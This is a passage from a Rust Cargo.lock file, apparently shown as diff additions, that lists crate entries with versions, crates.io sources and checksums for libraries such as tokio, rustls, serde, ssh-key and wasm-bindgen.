"tokio", + "tokio-tungstenite", + "tracing", + "tracing-subscriber", +] + +[[package]] +name = "rtoolbox" +version = "0.0.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "50a0e551c1e27e1731aba276dbeaeac73f53c7cd34d1bda485d02bd1e0f36844" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustc-hash" +version = "2.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94300abf3f1ae2e2b8ffb7b58043de3d399c73fa6f4b73826402a5c457614dbe" + +[[package]] +name = "rustc_version" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cfcb3a22ef46e85b45de6ee7e79d063319ebb6594faafcf1c225ea92ab6e9b92" +dependencies = [ + "semver", +] + +[[package]] +name = "rustix" +version = "0.38.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fdb5bc1ae2baa591800df16c9ca78619bf65c0488b41b96ccec5d11220d8c154" +dependencies = [ + "bitflags 2.11.1", + "errno", + "libc", + "linux-raw-sys 0.4.15", + "windows-sys 0.59.0", +] + +[[package]] +name = "rustix" +version = "1.1.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6fe4565b9518b83ef4f91bb47ce29620ca828bd32cb7e408f0062e9930ba190" +dependencies = [ + "bitflags 2.11.1", + "errno", + "libc", + "linux-raw-sys 0.12.1", + "windows-sys 0.61.2", +] + +[[package]] +name = "rustls" +version = "0.23.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef86cd5876211988985292b91c96a8f2d298df24e75989a43a3c73f2d4d8168b" +dependencies = [ + "once_cell", + "ring", + "rustls-pki-types", + "rustls-webpki", + "subtle", + "zeroize", +] + +[[package]] +name = "rustls-native-certs" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "612460d5f7bea540c490b2b6395d8e34a953e52b491accd6c86c8164c5932a63" +dependencies = [ + "openssl-probe", + "rustls-pki-types", + "schannel", + "security-framework", +] + +[[package]] +name = "rustls-pki-types" +version = "1.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "30a7197ae7eb376e574fe940d068c30fe0462554a3ddbe4eca7838e049c937a9" +dependencies = [ + "web-time", + "zeroize", +] + +[[package]] +name = "rustls-webpki" +version = "0.103.13" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "61c429a8649f110dddef65e2a5ad240f747e85f7758a6bccc7e5777bd33f756e" +dependencies = [ + "ring", + "rustls-pki-types", + "untrusted", +] + +[[package]] +name = "rustversion" +version = "1.0.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b39cdef0fa800fc44525c84ccb54a029961a8215f9619753635a9c0d2538d46d" + +[[package]] +name = "ryu" +version = "1.0.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9774ba4a74de5f7b1c1451ed6cd5285a32eddb5cccb8cc655a4e50009e06477f" + +[[package]] +name = "schannel" +version = "0.1.29" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "91c1b7e4904c873ef0710c1f407dde2e6287de2bebc1bbbf7d430bb7cbffd939" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + +[[package]] +name = "sec1" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3e97a565f76233a6003f9f5c54be1d9c5bdfa3eccfb189469f11ec4901c47dc" +dependencies = [ + "base16ct", + "der", + "generic-array", + "pkcs8", + "subtle", + "zeroize", +] + +[[package]] +name = "security-framework" +version = "3.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7f4bc775c73d9a02cde8bf7b2ec4c9d12743edf609006c7facc23998404cd1d" +dependencies = [ + "bitflags 2.11.1", + "core-foundation", + "core-foundation-sys", + "libc", + "security-framework-sys", +] + +[[package]] +name = "security-framework-sys" +version = "2.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2691df843ecc5d231c0b14ece2acc3efb62c0a398c7e1d875f3983ce020e3" +dependencies = [ + "core-foundation-sys", + "libc", +] + +[[package]] +name = "semver" +version = "1.0.28" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a7852d02fc848982e0c167ef163aaff9cd91dc640ba85e263cb1ce46fae51cd" + +[[package]] +name = "serde" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a8e94ea7f378bd32cbbd37198a4a91436180c5bb472411e48b5ec2e2124ae9e" +dependencies = [ + "serde_core", + "serde_derive", +] + +[[package]] +name = "serde_core" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d385c7d4ca58e59fc732af25c3983b67ac852c1a25000afe1175de458b67ad" +dependencies = [ + "serde_derive", +] + +[[package]] +name = "serde_derive" +version = "1.0.228" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d540f220d3187173da220f885ab66608367b6574e925011a9353e4badda91d79" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "serde_json" +version = "1.0.149" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "83fc039473c5595ace860d8c4fafa220ff474b3fc6bfdb4293327f1a37e94d86" +dependencies = [ + "itoa", + "memchr", + "serde", + "serde_core", + "zmij", +] + +[[package]] +name = "serde_path_to_error" +version = "0.1.20" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "10a9ff822e371bb5403e391ecd83e182e0e77ba7f6fe0160b795797109d1b457" +dependencies = [ + "itoa", + "serde", + "serde_core", +] + +[[package]] +name = "serde_urlencoded" +version = "0.7.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3491c14715ca2294c4d6a88f15e84739788c1d030eed8c110436aafdaa2f3fd" +dependencies = [ + "form_urlencoded", + "itoa", + "ryu", + "serde", +] + +[[package]] +name = "serde_yaml" +version = "0.9.34+deprecated" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6a8b1a1a2ebf674015cc02edccce75287f1a0130d394307b36743c2f5d504b47" +dependencies = [ + "indexmap", + "itoa", + "ryu", + "serde", + "unsafe-libyaml", +] + +[[package]] +name = "serial" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1237a96570fc377c13baa1b88c7589ab66edced652e43ffb17088f003db3e86" +dependencies = [ + "serial-core", + "serial-unix", + "serial-windows", +] + +[[package]] +name = "serial-core" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f46209b345401737ae2125fe5b19a77acce90cd53e1658cda928e4fe9a64581" +dependencies = [ + "libc", +] + +[[package]] +name = "serial-unix" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f03fbca4c9d866e24a459cbca71283f545a37f8e3e002ad8c70593871453cab7" +dependencies = [ + "ioctl-rs", + "libc", + "serial-core", + "termios", +] + +[[package]] +name = "serial-windows" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "15c6d3b776267a75d31bbdfd5d36c0ca051251caafc285827052bc53bcdc8162" +dependencies = [ + "libc", + "serial-core", +] + +[[package]] +name = "sha1" +version = "0.10.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e3bf829a2d51ab4a5ddf1352d8470c140cadc8301b2ae1789db023f01cedd6ba" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sha2" +version = "0.10.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a7507d819769d01a365ab707794a4084392c824f54a7a6a7862f8c3d0892b283" +dependencies = [ + "cfg-if", + "cpufeatures", + "digest", +] + +[[package]] +name = "sharded-slab" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f40ca3c46823713e0d4209592e8d6e826aa57e928f09752619fc696c499637f6" +dependencies = [ + "lazy_static", +] + +[[package]] +name = "shared_library" +version = "0.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a9e7e0f2bfae24d8a5b5a66c5b257a83c7412304311512a0c054cd5e619da11" +dependencies = [ + "lazy_static", + "libc", +] + +[[package]] +name = "shell-words" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc6fe69c597f9c37bfeeeeeb33da3530379845f10be461a66d16d03eca2ded77" + +[[package]] +name = "shellexpand" +version = "3.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32824fab5e16e6c4d86dc1ba84489390419a39f97699852b66480bb87d297ed8" +dependencies = [ + "dirs 6.0.0", +] + +[[package]] +name = "shlex" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0fda2ff0d084019ba4d7c6f371c95d8fd75ce3524c3cb8fb653a3023f6323e64" + +[[package]] +name = "signal-hook" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d881a16cf4426aa584979d30bd82cb33429027e42122b169753d6ef1085ed6e2" +dependencies = [ + "libc", + "signal-hook-registry", +] + +[[package]] +name = "signal-hook-mio" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b75a19a7a740b25bc7944bdee6172368f988763b744e3d4dfe753f6b4ece40cc" +dependencies = [ + "libc", + "mio 0.8.11", + "mio 1.2.0", + "signal-hook", +] + +[[package]] +name = "signal-hook-registry" +version = "1.4.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4db69cba1110affc0e9f7bcd48bbf87b3f4fc7c61fc9155afd4c469eb3d6c1b" +dependencies = [ + "errno", + "libc", +] + +[[package]] +name = "signature" +version = "2.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "77549399552de45a898a580c1b41d445bf730df867cc44e6c0233bbc4b8329de" +dependencies = [ + "digest", + "rand_core 0.6.4", +] + +[[package]] +name = "slab" +version = "0.4.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c790de23124f9ab44544d7ac05d60440adc586479ce501c1d6d7da3cd8c9cf5" + +[[package]] +name = "smallvec" +version = "1.15.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "67b1b7a3b5fe4f1376887184045fcf45c69e92af734b7aaddc05fb777b6fbd03" + +[[package]] +name = "socket2" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3a766e1110788c36f4fa1c2b71b387a7815aa65f88ce0229841826633d93723e" +dependencies = [ + "libc", + "windows-sys 0.61.2", +] + +[[package]] +name = "spin" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6980e8d7511241f8acf4aebddbb1ff938df5eebe98691418c4468d0b72a96a67" + +[[package]] +name = "spki" +version = "0.7.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d91ed6c858b01f942cd56b37a94b3e0a1798290327d1236e4d9cf4eaca44d29d" +dependencies = [ + "base64ct", + "der", +] + +[[package]] +name = "ssh-cipher" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "caac132742f0d33c3af65bfcde7f6aa8f62f0e991d80db99149eb9d44708784f" +dependencies = [ + "aes", + "aes-gcm", + "cbc", + "chacha20", + "cipher", + "ctr", + "poly1305", + "ssh-encoding", + "subtle", +] + +[[package]] +name = "ssh-encoding" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eb9242b9ef4108a78e8cd1a2c98e193ef372437f8c22be363075233321dd4a15" +dependencies = [ + "base64ct", + "pem-rfc7468", + "sha2", +] + +[[package]] +name = "ssh-key" +version = "0.6.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3b86f5297f0f04d08cabaa0f6bff7cb6aec4d9c3b49d87990d63da9d9156a8c3" +dependencies = [ + "bcrypt-pbkdf", + "ed25519-dalek", + "num-bigint-dig", + "p256", + "p384", + "p521", + "rand_core 0.6.4", + "rsa", + "sec1", + "sha2", + "signature", + "ssh-cipher", + "ssh-encoding", + "subtle", + "zeroize", +] + +[[package]] +name = "stable_deref_trait" +version = "1.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ce2be8dc25455e1f91df71bfa12ad37d7af1092ae736f3a6cd0e37bc7810596" + +[[package]] +name = "strsim" +version = "0.11.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7da8b5736845d9f2fcb837ea5d9e2628564b3b043a70948a3f0b778838c5fb4f" + +[[package]] +name = "subtle" +version = "2.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "13c2bddecc57b384dee18652358fb23172facb8a2c51ccc10d74c157bdea3292" + +[[package]] +name = "syn" +version = "2.0.117" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e665b8803e7b1d2a727f4023456bbbbe74da67099c585258af0ad9c5013b9b99" +dependencies = [ + "proc-macro2", + "quote", + "unicode-ident", +] + +[[package]] +name = "sync_wrapper" +version = "1.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0bf256ce5efdfa370213c1dabab5935a12e49f2c58d15e9eac2870d3b4f27263" +dependencies = [ + "futures-core", +] + +[[package]] +name = "synstructure" +version = "0.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "728a70f3dbaf5bab7f0c4b1ac8d7ae5ea60a4b5549c8a5914361c99147a709d2" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tempfile" +version = "3.27.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32497e9a4c7b38532efcdebeef879707aa9f794296a4f0244f6f69e9bc8574bd" +dependencies = [ + "fastrand", + "getrandom 0.4.2", + "once_cell", + "rustix 1.1.4", + "windows-sys 0.61.2", +] + +[[package]] +name = "termios" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d5d9cf598a6d7ce700a4e6a9199da127e6819a61e64b68609683cc9a01b5683a" +dependencies = [ + "libc", +] + +[[package]] +name = "thiserror" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6aaf5339b578ea85b50e080feb250a3e8ae8cfcdff9a461c9ec2904bc923f52" +dependencies = [ + "thiserror-impl 1.0.69", +] + +[[package]] +name = "thiserror" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4288b5bcbc7920c07a1149a35cf9590a2aa808e0bc1eafaade0b80947865fbc4" +dependencies = [ + "thiserror-impl 2.0.18", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.69" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4fee6c4efc90059e10f81e6d42c60a18f76588c3d74cb83a0b242a2b6c7504c1" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thiserror-impl" +version = "2.0.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc4ee7f67670e9b64d05fa4253e753e016c6c95ff35b89b7941d6b856dec1d5" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "thread_local" +version = "1.1.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f60246a4944f24f6e018aa17cdeffb7818b76356965d03b07d6a9886e8962185" +dependencies = [ + "cfg-if", +] + +[[package]] +name = "time" +version = "0.3.47" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "743bd48c283afc0388f9b8827b976905fb217ad9e647fae3a379a9283c4def2c" +dependencies = [ + "deranged", + "itoa", + "num-conv", + "powerfmt", + "serde_core", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7694e1cfe791f8d31026952abf09c69ca6f6fa4e1a1229e18988f06a04a12dca" + +[[package]] +name = "time-macros" +version = "0.2.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2e70e4c5a0e0a8a4823ad65dfe1a6930e4f4d756dcd9dd7939022b5e8c501215" +dependencies = [ + "num-conv", + "time-core", +] + +[[package]] +name = "tinystr" +version = "0.8.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c8323304221c2a851516f22236c5722a72eaa19749016521d6dff0824447d96d" +dependencies = [ + "displaydoc", + "zerovec", +] + +[[package]] +name = "tinyvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e61e67053d25a4e82c844e8424039d9745781b3fc4f32b8d55ed50f5f667ef3" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.52.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8fc7f01b389ac15039e4dc9531aa973a135d7a4135281b12d7c1bc79fd57fffe" +dependencies = [ + "bytes", + "libc", + "mio 1.2.0", + "parking_lot", + "pin-project-lite", + "signal-hook-registry", + "socket2", + "tokio-macros", + "windows-sys 0.61.2", +] + +[[package]] +name = "tokio-macros" +version = "2.7.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "385a6cb71ab9ab790c5fe8d67f1645e6c450a7ce006a33de03daa956cf70a496" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tokio-rustls" +version = "0.26.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1729aa945f29d91ba541258c8df89027d5792d85a8841fb65e8bf0f4ede4ef61" +dependencies = [ + "rustls", + "tokio", +] + +[[package]] +name = "tokio-tungstenite" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "edc5f74e248dc973e0dbb7b74c7e0d6fcc301c694ff50049504004ef4d0cdcd9" +dependencies = [ + "futures-util", + "log", + "rustls", + "rustls-native-certs", + "rustls-pki-types", + "tokio", + "tokio-rustls", + "tungstenite", +] + +[[package]] +name = "tower" +version = "0.5.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebe5ef63511595f1344e2d5cfa636d973292adc0eec1f0ad45fae9f0851ab1d4" +dependencies = [ + "futures-core", + "futures-util", + "pin-project-lite", + "sync_wrapper", + "tokio", + "tower-layer", + "tower-service", + "tracing", +] + +[[package]] +name = "tower-http" +version = "0.6.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68d6fdd9f81c2819c9a8b0e0cd91660e7746a8e6ea2ba7c6b2b057985f6bcb51" +dependencies = [ + "bitflags 2.11.1", + "bytes", + "futures-util", + "http", + "http-body", + "pin-project-lite", + "tower", + "tower-layer", + "tower-service", + "tracing", + "url", +] + +[[package]] +name = "tower-layer" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "121c2a6cda46980bb0fcd1647ffaf6cd3fc79a013de288782836f6df9c48780e" + +[[package]] +name = "tower-service" +version = "0.3.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8df9b6e13f2d32c91b9bd719c00d1958837bc7dec474d94952798cc8e69eeec3" + +[[package]] +name = "tracing" +version = "0.1.44" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "63e71662fa4b2a2c3a26f570f037eb95bb1f85397f3cd8076caed2f026a6d100" +dependencies = [ + "log", + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7490cfa5ec963746568740651ac6781f701c9c5ea257c58e057f3ba8cf69e8da" +dependencies = [ + "proc-macro2", + "quote", + "syn", +] + +[[package]] +name = "tracing-core" +version = "0.1.36" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "db97caf9d906fbde555dd62fa95ddba9eecfd14cb388e4f491a66d74cd5fb79a" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.23" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7f578e5945fb242538965c2d0b04418d38ec25c79d160cd279bf0731c8d319" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex-automata", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "try-lock" +version = "0.2.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e421abadd41a4225275504ea4d6566923418b7f05506fbc9c0fe86ba7396114b" + +[[package]] +name = "tungstenite" +version = "0.24.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "18e5b8366ee7a95b16d32197d0b2604b43a0be89dc5fac9f8e96ccafbaedda8a" +dependencies = [ + "byteorder", + "bytes", + "data-encoding", + "http", + "httparse", + "log", + "rand 0.8.6", + "rustls", + "rustls-pki-types", + "sha1", + "thiserror 1.0.69", + "utf-8", +] + +[[package]] +name = "typenum" +version = "1.20.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "40ce102ab67701b8526c123c1bab5cbe42d7040ccfd0f64af1a385808d2f43de" + +[[package]] +name = "unicode-ident" +version = "1.0.24" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6e4313cd5fcd3dad5cafa179702e2b244f760991f45397d14d4ebf38247da75" + +[[package]] +name = "unicode-segmentation" +version = "1.13.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9629274872b2bfaf8d66f5f15725007f635594914870f65218920345aa11aa8c" + +[[package]] +name = "unicode-width" +version = "0.1.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7dd6e30e90baa6f72411720665d41d89b9a3d039dc45b8faea1ddd07f617f6af" + +[[package]] +name = "unicode-width" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4ac048d71ede7ee76d585517add45da530660ef4390e49b098733c6e897f254" + +[[package]] +name = "unicode-xid" +version = "0.2.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ebc1c04c71510c7f702b52b7c350734c9ff1295c464a03335b00bb84fc54f853" + +[[package]] +name = "universal-hash" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fc1de2c688dc15305988b563c3854064043356019f97a4b46276fe734c4f07ea" +dependencies = [ + "crypto-common", + "subtle", +] + +[[package]] +name = "unsafe-libyaml" +version = "0.2.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "673aac59facbab8a9007c7f6108d11f63b603f7cabff99fabf650fea5c32b861" + +[[package]] +name = "untrusted" +version = "0.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8ecb6da28b8a351d773b68d5825ac39017e680750f980f3a1a85cd8dd28a47c1" + +[[package]] +name = "url" +version = "2.5.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ff67a8a4397373c3ef660812acab3268222035010ab8680ec4215f38ba3d0eed" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "utf8_iter" +version = "1.0.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be" + +[[package]] +name = "utf8parse" +version = "0.2.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "06abde3611657adf66d383f00b093d7faecc7fa57071cce2578660c9f1010821" + +[[package]] +name = "valuable" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba73ea9cf16a25df0c8caa16c51acb937d5712a8429db78a3ee29d5dcacd3a65" + +[[package]] +name = "version_check" +version = "0.9.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b928f33d975fc6ad9f86c8f283853ad26bdd5b10b7f1542aa2fa15e2289105a" + +[[package]] +name = "want" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bfa7760aed19e106de2c7c0b581b509f2f25d3dacaf737cb82ac61bc6d760b0e" +dependencies = [ + "try-lock", +] + +[[package]] +name = "wasi" +version = "0.11.1+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ccf3ec651a847eb01de73ccad15eb7d99f80485de043efb2f370cd654f4ea44b" + +[[package]] +name = "wasip2" +version = "1.0.3+wasi-0.2.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "20064672db26d7cdc89c7798c48a0fdfac8213434a1186e5ef29fd560ae223d6" +dependencies = [ + "wit-bindgen 0.57.1", +] + +[[package]] +name = "wasip3" +version = "0.4.0+wasi-0.3.0-rc-2026-01-06" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5428f8bf88ea5ddc08faddef2ac4a67e390b88186c703ce6dbd955e1c145aca5" +dependencies = [ + "wit-bindgen 0.51.0", +] + +[[package]] +name = "wasite" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8dad83b4f25e74f184f64c43b150b91efe7647395b42289f38e50566d82855b" + +[[package]] +name = "wasm-bindgen" +version = "0.2.121" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49ace1d07c165b0864824eee619580c4689389afa9dc9ed3a4c75040d82e6790" +dependencies = [ + "cfg-if", + "once_cell", + "rustversion", + "wasm-bindgen-macro", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-futures" +version = "0.4.71" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "96492d0d3ffba25305a7dc88720d250b1401d7edca02cc3bcd50633b424673b8" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.121" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e68e6f4afd367a562002c05637acb8578ff2dea1943df76afb9e83d177c8578" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.121" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d95a9ec35c64b2a7cb35d3fead40c4238d0940c86d107136999567a4703259f2" +dependencies = [ + "bumpalo", + "proc-macro2", + "quote", + "syn", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.121" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c4e0100b01e9f0d03189a92b96772a1fb998639d981193d7dbab487302513441" +dependencies = [ + "unicode-ident", +] + +[[package]] +name = "wasm-encoder" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "990065f2fe63003fe337b932cfb5e3b80e0b4d0f5ff650e6985b1048f62c8319" +dependencies = [ + "leb128fmt", + "wasmparser", +] + +[[package]] +name = "wasm-metadata" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb0e353e6a2fbdc176932bbaab493762eb1255a7900fe0fea1a2f96c296cc909" +dependencies = [ + "anyhow", + "indexmap", + "wasm-encoder", + "wasmparser", +] + +[[package]] +name = "wasmparser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "47b807c72e1bac69382b3a6fb3dbe8ea4c0ed87ff5629b8685ae6b9a611028fe" +dependencies = [ + "bitflags 2.11.1", + "hashbrown 0.15.5", + "indexmap", + "semver", +] + +[[package]] +name = "web-sys" +version = "0.3.98" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b572dff8bcf38bad0fa19729c89bb5748b2b9b1d8be70cf90df697e3a8f32aa" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "web-time" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a6580f308b1fad9207618087a65c04e7a10bc77e02c8e84e9b00dd4b12fa0bb" +dependencies = [ + "js-sys", + "wasm-bindgen", +] + +[[package]] +name = "webpki-roots" +version = "1.0.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52f5ee44c96cf55f1b349600768e3ece3a8f26010c05265ab73f945bb1a2eb9d" +dependencies = [ + "rustls-pki-types", +] + +[[package]] +name = "whoami" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5d4a4db5077702ca3015d3d02d74974948aba2ad9e12ab7df718ee64ccd7e97d" +dependencies = [ + "libredox", + "wasite", + "web-sys", +] + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-link" +version = 